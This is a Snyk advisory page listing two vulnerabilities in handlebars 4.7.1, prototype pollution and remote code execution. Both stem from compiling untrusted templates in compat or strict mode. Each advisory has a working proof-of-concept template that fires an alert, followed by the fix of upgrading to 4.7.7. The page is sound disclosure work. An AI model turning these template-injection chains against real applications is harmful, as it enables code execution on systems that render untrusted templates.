Homepage
About Snyk

handlebars@4.7.1 vulnerabilities

Handlebars provides the power necessary to let you build semantic templates effectively with no frustration

Go back to all versions of this package
Report a new vulnerability Found a mistake?

Direct Vulnerabilities

Known vulnerabilities in the handlebars package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.

POC

<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> 
<script> 
// compile the template 

var s2 = `{{'a/.") || alert("Vulnerable Handlebars JS when compiling in compat mode'}}`; 
var template = Handlebars.compile(s2, { 
compat: true 
}); 
// execute the compiled template and print the output to the console console.log(template({})); 
</script>

How to fix Prototype Pollution?

Upgrade handlebars to version 4.7.7 or higher.

<4.7.7
  • H
Remote Code Execution (RCE)

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.

POC

<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> 
<script> 
// compile the template 
var s = ` 
{{#with (__lookupGetter__ "__proto__")}} 
{{#with (./constructor.getOwnPropertyDescriptor . "valueOf")}} 
{{#with ../constructor.prototype}} 
{{../../constructor.defineProperty . "hasOwnProperty" ..}} 
{{/with}} 
{{/with}} 
{{/with}} 
{{#with "constructor"}} 
{{#with split}} 
{{pop (push "alert('Vulnerable Handlebars JS when compiling in strict mode');")}} 
{{#with .}} 
{{#with (concat (lookup join (slice 0 1)))}} 
{{#each (slice 2 3)}} 
{{#with (apply 0 ../..)}} 
{{.}} 
{{/with}} 
{{/each}} 
{{/with}} 
{{/with}} 
{{/with}} 
{{/with}} 
`;
var template = Handlebars.compile(s, { 
strict: true 
}); 
// execute the compiled template and print the output to the console console.log(template({})); 
</script>

How to fix Remote Code Execution (RCE)?

Upgrade handlebars to version 4.7.7 or higher.

<4.7.7
Go back to all versions of this package